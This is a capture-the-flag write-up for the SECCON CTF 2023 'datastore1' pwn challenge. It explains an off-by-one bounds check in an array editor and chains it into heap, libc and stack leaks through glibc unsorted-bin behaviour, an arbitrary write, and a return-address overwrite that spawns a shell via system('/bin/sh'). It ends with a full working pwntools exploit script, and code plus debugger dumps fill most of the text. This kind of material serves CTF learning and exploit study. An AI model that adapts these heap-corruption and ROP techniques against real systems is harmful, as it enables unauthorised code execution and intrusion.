SECCON CTF 2023 Quals - datastore1

Table of Contents

0x00. Introduction

[*] '/home/user/datastore1'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

Structure

typedef struct {
  type_t type;

  union {
    struct Array *p_arr;
    struct String *p_str;
    uint64_t v_uint;
    double v_float;
  };
} data_t;

typedef struct Array {
  size_t count;
  data_t data[];
} arr_t;

typedef struct String {
  size_t size;
  char *content;
} str_t;

The unusual way of storing data made it tricky to adapt to at first. Don’t overthink it - just think of it as storing data in data_t, using different storage methods depending on the data type.

Concept

➜  ./datastore1

MENU
1. Edit
2. List
0. Exit
> 1

Current: <EMPTY>
Select type: [a]rray/[v]alue
> a
input size: 4

MENU
1. Edit
2. List
0. Exit
> 2

List Data
<ARRAY(4)>
[00] <EMPTY>
[01] <EMPTY>
[02] <EMPTY>
[03] <EMPTY>

Based on input, you can freely store or query data in the heap.

0x01. Vulnerability

The vulnerability occurs when handling Array in the edit() function.

static int edit(data_t *data){
  ...
  switch(data->type){
    case TYPE_ARRAY:
      arr_t *arr = data->p_arr;

      printf("index: ");
      unsigned idx = getint();
      if(idx > arr->count)
        return -1;
      ...
  }
}

It verifies if the input idx value is greater than arr->count, but doesn’t verify when the two values are equal, causing OOB. For example, if arr->count is 4, data[0]~data[3] are created, but we can access non-existent data[4] to reach the area immediately after arr.

It’s surprising that shell can be spawned with such a simple vulnerability. Vulnerabilities should indeed be viewed from the perspective of finding bugs regardless of exploitability.

0x02. Exploit

Heap Leak

First, to trigger the vulnerability, we allocate Array as follows.

    edit(s, 'u', [], 'a', 1)
    edit(s, 'u', [0], 'a', 4)
    edit(s, 'u', [0, 0], 'a', 4)
    edit(s, 'u', [0, 1], 'a', 4)
    edit(s, 'u', [0, 2], 'a', 4)
    edit(s, 'u', [0, 3], 'a', 4)

Here, the list in the third argument of edit() represents the Array’s index. For example:

  • [] : root->*p_arr
  • [0] : [00]
  • [0, 1] : [00] -> [01]

Therefore, edit(s, 'u', [0, 1], 'a', 4) means “create an arr_t of length 4 at position [00] -> [01]”.

Creating data_t objects this way results in this memory layout.

# root : 0x5555555592a0
gef➤  x/2gx 0x5555555592a0
0x5555555592a0: 0x00000000feed0001      0x00005555555592c0
# []
gef➤  x/3gx 0x00005555555592c0
0x5555555592c0: 0x0000000000000001      0x00000000feed0001
0x5555555592d0: 0x00005555555592e0
# [0]
gef➤  x/9gx 0x00005555555592e0
0x5555555592e0: 0x0000000000000004      0x00000000feed0001
0x5555555592f0: 0x0000555555559330      0x00000000feed0001
0x555555559300: 0x0000555555559380      0x00000000feed0001
0x555555559310: 0x00005555555593d0      0x00000000feed0001
0x555555559320: 0x0000555555559420
# [0, 0]
gef➤  x/10gx 0x0000555555559330
0x555555559330: 0x0000000000000004      0x0000000000000000      # [0, 0, 0]
0x555555559340: 0x0000000000000000      0x0000000000000000      # [0, 0, 1]
0x555555559350: 0x0000000000000000      0x0000000000000000      # [0, 0, 2]
0x555555559360: 0x0000000000000000      0x0000000000000000      # [0, 0, 3]
0x555555559370: 0x0000000000000000      0x0000000000000051      # [0, 0, 4] < OOB
# [0, 1]
gef➤  x/9gx 0x0000555555559380
0x555555559380: 0x0000000000000004      0x0000000000000000
0x555555559390: 0x0000000000000000      0x0000000000000000
0x5555555593a0: 0x0000000000000000      0x0000000000000000
0x5555555593b0: 0x0000000000000000      0x0000000000000000
0x5555555593c0: 0x0000000000000000

We can see that heap allocates chunks consecutively, creating an adjacent memory structure for [0, 0] and [0, 1]. Using the OOB vulnerability to access non-existent [0, 0, 4] allows us to overwrite the 0x555555559378~0x555555559380 area.

  • 0x555555559378 : [0, 1] chunk’s header
  • 0x555555559380 : [0, 1]->count

Since the show() function references the object’s size and prints it with data_t->type, if we can write some address to count, leak is possible.

Current: <ARRAY(4)>
[00] <ARRAY(4)>
[01] <ARRAY(4)>
[02] <ARRAY(4)>
[03] <ARRAY(4)>

When allocating a new arr_t to [0, 0, 4], allocation occurs as follows.

  • 0x555555559378 : [0, 1] chunk’s header -> data_t->type
  • 0x555555559380 : [0, 1]->count -> data_t->*p_arr

However, when accessing [0, 0, 4], edit() calls the show() function to display the current data state.

static int edit(data_t *data){
  if(!data)
    return -1;

  printf("\nCurrent: ");
  show(data, 0, false);
  ...
}

At this point, data_t->type stores chunk size 0x51, which is undefined in type_t, causing show() to call exit().

static int show(data_t *data, unsigned level, bool recur){
  ...
  switch(data->type){
    case TYPE_EMPTY:
      puts("<EMPTY>");
      break;
    ...
    default:
      puts("<UNKNOWN>");
      exit(1);
  }
  return 0;
}

Therefore, before creating arr_t, we need to use delete in edit() to initialize the value interpreted as data_t->type to 0.

    # overwrite arr_t.count of [0, 1]
    edit(s, 'd', [0, 0, 4])
    edit(s, 'u', [0, 0, 4], 'a', 2)

After successfully overwriting, the new arr_t address is stored in the [0, 1]->count part, and we can output the value using show().

Heap Overflow

Now that heap leak is possible with arr_t, I attempted exploitation using the other structure str_t.

typedef struct String {
	size_t size;
	char *content;
} str_t;

I thought overwriting size and *content using OOB would enable arbitrary address read/write.

    edit(s, 'u', [0, 2, 0], 'v', "A" * 0x10)
    edit(s, 'u', [0, 2, 1], 'v', "B" * 0x10)
    edit(s, 'u', [0, 2, 2], 'v', "C" * 0x10)

Allocating str_t objects using the above payload results in this memory structure.

gef➤  x/10gx 0x0000555555559420
0x555555559420: 0x0000000000000004      0x0000000000000000      # [0, 3]
0x555555559430: 0x0000000000000000      0x0000000000000000
0x555555559440: 0x0000000000000000      0x0000000000000000
0x555555559450: 0x0000000000000000      0x0000000000000000
0x555555559460: 0x0000000000000000      0x0000000000000021
gef➤
0x555555559470: 0x0000000000000001      0x0000000000000000      # [0, 0, 4]
0x555555559480: 0x0000000000000000      0x0000000000000021
0x555555559490: 0x4141414141414141      0x4141414141414141      # [0, 2, 0]->content
0x5555555594a0: 0x0000000000000000      0x0000000000000051
0x5555555594b0: 0x0000000555555559      0xaf03f4adbccb3443      # leftover buf
gef➤
0x5555555594c0: 0x0000000000000000      0x0000000000000000
0x5555555594d0: 0x0000000000000000      0x0000000000000000
0x5555555594e0: 0x0000000000000000      0x0000000000000000
0x5555555594f0: 0x0000000000000000      0x0000000000000021 
0x555555559500: 0x0000000000000010      0x0000555555559490      # [0, 2, 0] ; "AAAA"

Even though we want to overwrite [0, 2, 0]’s size and *content using the OOB vulnerability, it doesn’t allocate in adjacent areas due to how create() receives input.

static int create(data_t *data){
  ...
  else {        // type == 'v'
    char *buf, *endptr;

    printf("input value: ");
    scanf("%70m[^\n]%*c", &buf);
    if(!buf){
      getchar();
      return -1;
    }
    ...
    str_t *str = (str_t*)malloc(sizeof(str_t));
    if(!str){
      free(buf);
      return -1;
    }
    str->size = strlen(buf);
    str->content = buf;
    buf = NULL;

    data->type = TYPE_STRING;
    data->p_str = str;
fin:
    free(buf);
  }
  return 0;
}

Looking at scanf(), it uses a pretty unfamiliar formatter. m is one of the GNU extension features that allocates heap memory to store input. Looking closely, it receives input in buf, puts the address in str->content, then calls free(). Since buf is set to NULL anyway, no actual freeing occurs.

Anyway, when executing scanf(), it allocates memory to receive 70 bytes, stores the input, then frees the remaining memory. Since this process uses heap, buf is allocated before str_t, preventing [0, 2, 0] from being allocated in an adjacent area. Therefore, we need to write the payload to free a chunk with the same chunk size as str_t and call create().

For this, when overwriting [0, 1]->count during heap leak, I created an object with arr_t->count of 1 at [0, 0, 4] so the chunk size becomes 0x20.

    # free [0, 0, 4] (0x20 chunk) and reallocate it to [0, 2, 0] (str_t, also 0x20)
    edit(s, 'd', [0, 0, 4])
    edit(s, 'u', [0, 2, 0], 'v', "A" * 0x30)
    edit(s, 'u', [0, 2, 1], 'v', "B" * 0x10)
    edit(s, 'u', [0, 2, 2], 'v', "C" * 0x10)

After writing the payload this way, memory looks like this.

gef➤  x/10gx 0x0000555555559420
0x555555559420: 0x0000000000000004      0x0000000000000000      # [0, 3]
0x555555559430: 0x0000000000000000      0x0000000000000000
0x555555559440: 0x0000000000000000      0x0000000000000000
0x555555559450: 0x0000000000000000      0x0000000000000000
0x555555559460: 0x0000000000000000      0x0000000000000021
gef➤
0x555555559470: 0x0000000000000010      0x0000555555559490      # [0, 2, 0] ; "AAAA"
0x555555559480: 0x0000000000000000      0x0000000000000021
0x555555559490: 0x4141414141414141      0x4141414141414141      # [0, 2, 0]->content
0x5555555594a0: 0x0000000000000000      0x0000000000000051
0x5555555594b0: 0x0000000555555559      0x5d50bdc37f682be0      # leftover buf
gef➤
0x5555555594c0: 0x0000000000000000      0x0000000000000000
0x5555555594d0: 0x0000000000000000      0x0000000000000000
0x5555555594e0: 0x0000000000000000      0x0000000000000000
0x5555555594f0: 0x0000000000000000      0x0000000000000021
0x555555559500: 0x4242424242424242      0x4242424242424242      # [0, 2, 1]->content

Now [0, 2, 0] is allocated adjacent to [0, 3], enabling the OOB vulnerability.

    # now that [0, 2, 0] is where [0, 0, 4] was, overwrite str_t.size of [0, 2, 0]
    edit(s, 'd', [0, 3, 4])
    edit(s, 'u', [0, 3, 4], 'v', 0x1000)

As in the payload above, accessing [0, 3, 4] and inputting 0x1000 to be interpreted as v_uint stores it in memory as follows.

gef➤  x/8gx 0x555555559460
0x555555559460: 0x0000000000000000      0x00000000feed0003
0x555555559470: 0x0000000000001000      0x0000555555559490      # [0, 2, 0] ; "AAAA"
0x555555559480: 0x0000000000000000      0x0000000000000021
0x555555559490: 0x4141414141414141      0x4141414141414141

Since 0x1000 is written to the [0, 2, 0]->size area of the str_t structure, we can freely overwrite 0x1000 bytes starting from 0x555555559490, the address stored in *content, using this object.

Libc Leak

When solving the challenge, I thought “since heap overflow is possible, I should first overwrite chunk size to leak libc” without clear purpose, but…

“Since PIE and Full Relro is enabled, I should give up on GOT overwrite and leak libc -> leak stack to overwrite return address” seems like the correct chain of thought.

Anyway, I proceeded with libc leak using the technique of sending chunks to unsorted bin to store main_arena addresses. There were several conditions to meet, otherwise chunks wouldn’t be sent to unsorted bin.

  • chunk size must be 0x420 or larger
  • chunk must exist in next area (next_chunk)
  • next_chunk must not be top chunk

Especially if the thrid condition is not met, it just merges with top chunk and chunk is not sent to unsorted bin.

Looking at memory from the earlier heap overflow situation to meet conditions one by one:

gef➤  x/20gx 0x555555559470
0x555555559470: 0x0000000000001000      0x0000555555559490      # [0, 2, 0] ; "AAAA"
0x555555559480: 0x0000000000000000      0x0000000000000021
0x555555559490: 0x4141414141414141      0x4141414141414141      # [0, 2, 0]->content
0x5555555594a0: 0x0000000000000000      0x0000000000000051
0x5555555594b0: 0x0000000555555559      0x2da0f37bfd770960
0x5555555594c0: 0x0000000000000000      0x0000000000000000
0x5555555594d0: 0x0000000000000000      0x0000000000000000
0x5555555594e0: 0x0000000000000000      0x0000000000000000
0x5555555594f0: 0x0000000000000000      0x0000000000000021
0x555555559500: 0x4242424242424242      0x4242424242424242      # [0, 2, 1]->content
gef➤
0x555555559510: 0x0000000000000000      0x0000000000000051
0x555555559520: 0x000055500000c1e9      0x2da0f37bfd770960
0x555555559530: 0x0000000000000000      0x0000000000000000
0x555555559540: 0x0000000000000000      0x0000000000000000
0x555555559550: 0x0000000000000000      0x0000000000000000
0x555555559560: 0x0000000000000000      0x0000000000000021
0x555555559570: 0x0000000000000010      0x0000555555559500      # [0, 2, 1] ; "BBBB"
0x555555559580: 0x0000000000000000      0x0000000000000021
0x555555559590: 0x4343434343434343      0x4343434343434343      # [0, 2, 2]->content
0x5555555595a0: 0x0000000000000000      0x0000000000000051
gef➤
0x5555555595b0: 0x000055500000c079      0x2da0f37bfd770960
0x5555555595c0: 0x0000000000000000      0x0000000000000000
0x5555555595d0: 0x0000000000000000      0x0000000000000000
0x5555555595e0: 0x0000000000000000      0x0000000000000000
0x5555555595f0: 0x0000000000000000      0x0000000000000021
0x555555559600: 0x0000000000000010      0x0000555555559590      # [0, 2, 2] ; "CCCC"
0x555555559610: 0x0000000000000000      0x0000000000000021
0x555555559620: 0x0000000555555559      0x2da0f37bfd770960
0x555555559630: 0x0000000000000000      0x0000000000000051
0x555555559640: 0x000055500000c0e9      0x2da0f37bfd770960

I planned to change [0, 2, 2]’s chunk size to 0x421, free it, then after main_arena address is written, change [0, 2, 1]->*content to [0, 2, 2] address for output.

Considering chunk size overwrite and changing [0, 2, 1]->*content, I wrote the payload as follows. I wrote it to maintain the structure without touching other chunks, as touching them would cause errors in free().

    # overwrite chunk_size of [0, 2, 2] ("CCCC")
    payload = b"A" * 0x10
    payload += p64(0) + p64(0x51)
    payload += b"\x00" * 0x40
    payload += p64(0) + p64(0x21)
    payload += b"B" * 0x10
    payload += p64(0) + p64(0x51)
    payload += b"\x00" * 0x40
    payload += p64(0) + p64(0x21)
    payload += p64(0x10) + p64(heap + 0x600)    # set [0, 2, 1]->content to [0, 2, 2]
    payload += p64(0) + p64(0x21)
    payload += b"C" * 0x10
    payload += p64(0) + p64(0x51)
    payload += b"\x00" * 0x40
    payload += p64(0) + p64(0x421)
    edit(s, 'u', [0, 2, 0], 'e', payload)

Now the payload to meet the second and third conditions is as follows.

    # align top chunk; nextchunk of 0x420 chunk should not be top chunk
    edit(s, 'u', [0, 2, 3], 'a', 0x10)
    edit(s, 'u', [0, 2, 3, 0], 'a', 0x10)
    edit(s, 'u', [0, 2, 3, 1], 'a', 0x10)
    edit(s, 'u', [0, 2, 3, 2], 'a', 0x5)
    edit(s, 'u', [0, 2, 3, 3], 'a', 0x1)        # next_chunk

Creating objects only up to [0, 2, 3, 2] makes [0, 2, 2]’s next_chunk the top chunk, so we must create [0, 2, 3, 3].

Current: <ARRAY(4)>
[00] <S> AAAAAAAAAAAAAAAA
[01] <S> \xe0\xac\xfa\xf7\xff\x7f
[02] <EMPTY>
[03] <ARRAY(16)>
index:

Stack Leak

With libc address, stack leak is possible using the environ variable.

    # arbitrary read (environ)
    payload = b"A" * 0xe0
    payload += p64(0x10) + p64(libc + lib.symbols['environ'])
    edit(s, 'u', [0, 2, 0], 'e', payload)

Earlier I wrote payloads matching chunk structure for allocation and freeing, but now that’s unnecessary - just match the offset with [0, 2, 1] for leak.

Ret Overwrite

Finally, I decided to overwrite the return address for RIP control. First, I set [0, 2, 1]->*content to point to the stack address storing main()’s return address. Then used gadgets in libc to set arguments and called system().

But I had to use the pop rdi; pop rbp gadget since stack address during syscall was not aligned.

    # arbitrary write (ret of main)
    payload = b"B" * 0xe0
    payload += p64(0x20) + p64(ret)
    edit(s, 'u', [0, 2, 0], 'e', payload)

    pop_rdi_rbp = 0x2a745
    payload = p64(libc + pop_rdi_rbp)
    payload += p64(libc + next(lib.search(b"/bin/sh")))
    payload += b"C" * 8
    payload += p64(libc + lib.symbols['system'])
    edit(s, 'u', [0, 2, 1], 'e', payload)

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "chall"
LIBRARY = "libc.so.6"
CONTAINER = "c471d11acd2a"
code_base = 0x555555554000
bp = {
    'ret_main' : 0x555555555418,
}

def edit(s, u_d, index, a_v='a', num=0):
    s.sendline(b"1")
    r = s.recvuntil(b">\n")
    if r.find(b"EMPTY") > 0:
        create(s, a_v, num)
    elif r.find(b"ARRAY") > 0:
        for c, i in enumerate(index):
            s.recvuntil(b"index: ")
            s.sendline(str(i).encode())
            s.recvuntil(b"> ")
            if c == len(index) - 1:
                if u_d == 'u':
                    s.sendline(b"1")
                if u_d == 'd':
                    s.sendline(b"2")
                    return s.recvuntil(b"\n> ")
            else:
                s.sendline(b"1")
        create(s, a_v, num)
    return s.recvuntil(b"\n> ")

def create(s, a_v, num):
    s.recvuntil(b"> ")
    if a_v == 'a':
        s.sendline(b"a")
        s.recvuntil(b"size: ")
        s.sendline(str(num).encode())
    elif a_v == 'v':
        s.sendline(b"v")
        s.recvuntil(b"value: ")
        s.sendline(str(num).encode())
    else:
        s.sendline(num)

def show(s):
    s.sendline(b"2")
    r = s.recvuntil(b"Exit\n> ")
    return r

gs = f'''
b *{bp["ret_main"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def main(server, port, debug):
    if(port):
        s = remote(server, port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY)
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)
    log.info(f"root : 0x5555555592a0")
    
    s.recvuntil(b"Exit\n> ")

    edit(s, 'u', [], 'a', 1)
    edit(s, 'u', [0], 'a', 4)
    edit(s, 'u', [0, 0], 'a', 4)
    edit(s, 'u', [0, 1], 'a', 4)
    edit(s, 'u', [0, 2], 'a', 4)
    edit(s, 'u', [0, 3], 'a', 4)
    
    # overwrite arr_t.count of [0, 1]
    edit(s, 'd', [0, 0, 4])
    edit(s, 'u', [0, 0, 4], 'a', 1)
    
    # heap leak
    s.sendline(b"1")
    s.sendlineafter(b"index: ", b"0")
    s.sendlineafter(b"> ", b"1")
    r = s.sendlineafter(b"index: ", b"10")      # invalid index to return menu
    
    heap = int(r.split(b"ARRAY(")[3].split(b")>")[0]) - 0x470
    log.info(f"heap : {hex(heap)}")

    # free [0, 0, 4] (0x20 chunk) and reallocate it to [0, 2, 0] (str_t, also 0x20)
    edit(s, 'd', [0, 0, 4])
    edit(s, 'u', [0, 2, 0], 'v', "A" * 0x10)
    edit(s, 'u', [0, 2, 1], 'v', "B" * 0x10)
    edit(s, 'u', [0, 2, 2], 'v', "C" * 0x10)

    # now that [0, 2, 0] is where [0, 0, 4] was, overwrite str_t.size of [0, 2, 0]
    edit(s, 'd', [0, 3, 4])
    edit(s, 'u', [0, 3, 4], 'v', 0x1000)

    # align top chunk; nextchunk of 0x420 chunk should not be top chunk
    edit(s, 'u', [0, 2, 3], 'a', 0x10)
    edit(s, 'u', [0, 2, 3, 0], 'a', 0x10)
    edit(s, 'u', [0, 2, 3, 1], 'a', 0x10)
    edit(s, 'u', [0, 2, 3, 2], 'a', 0x5)
    edit(s, 'u', [0, 2, 3, 3], 'a', 0x1)        # next_chunk

    # overwrite chunk_size of [0, 2, 2] ("CCCC")
    payload = b"A" * 0x10
    payload += p64(0) + p64(0x51)
    payload += b"\x00" * 0x40
    payload += p64(0) + p64(0x21)
    payload += b"B" * 0x10
    payload += p64(0) + p64(0x51)
    payload += b"\x00" * 0x40
    payload += p64(0) + p64(0x21)
    payload += p64(0x10) + p64(heap + 0x600)    # set [0, 2, 1]->content to [0, 2, 2]
    payload += p64(0) + p64(0x21)
    payload += b"C" * 0x10
    payload += p64(0) + p64(0x51)
    payload += b"\x00" * 0x40
    payload += p64(0) + p64(0x421)
    edit(s, 'u', [0, 2, 0], 'e', payload)

    # move [0, 2, 2] ("CCCC") to unsorted bin
    edit(s, 'd', [0, 2, 2])
    
    # libc leak
    s.sendline(b"1")
    s.sendlineafter(b"index: ", b"0")
    s.sendlineafter(b"> ", b"1")
    s.sendlineafter(b"index: ", b"2")
    s.sendlineafter(b"> ", b"1")
    r = s.sendlineafter(b"index: ", b"10")      # invalid index to return menu

    libc = u64(r.split(b"<S> ")[2].split(b"\n")[0] + b"\x00\x00") - 0x21ace0
    log.info(f"libc : {hex(libc)}")

    # arbitrary read (environ)
    payload = b"A" * 0xe0
    payload += p64(0x10) + p64(libc + lib.symbols['environ'])
    edit(s, 'u', [0, 2, 0], 'e', payload)
    
    # stack leak
    s.sendline(b"1")
    s.sendlineafter(b"index: ", b"0")
    s.sendlineafter(b"> ", b"1")
    s.sendlineafter(b"index: ", b"2")
    s.sendlineafter(b"> ", b"1")
    r = s.sendlineafter(b"index: ", b"10")

    stack = u64(r.split(b"<S> ")[2].split(b"\n")[0] + b"\x00\x00")
    log.info(f"stack : {hex(stack)}")
    ret = stack - 0x120

    # arbitrary write (ret of main)
    payload = b"B" * 0xe0
    payload += p64(0x20) + p64(ret)
    edit(s, 'u', [0, 2, 0], 'e', payload)

    pop_rdi_rbp = 0x2a745
    payload = p64(libc + pop_rdi_rbp)
    payload += p64(libc + next(lib.search(b"/bin/sh")))
    payload += b"C" * 8
    payload += p64(libc + lib.symbols['system'])
    edit(s, 'u', [0, 2, 1], 'e', payload)

    # exit
    s.sendline(b"0")

    s.interactive()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()
    main(args.server, args.port, args.debug)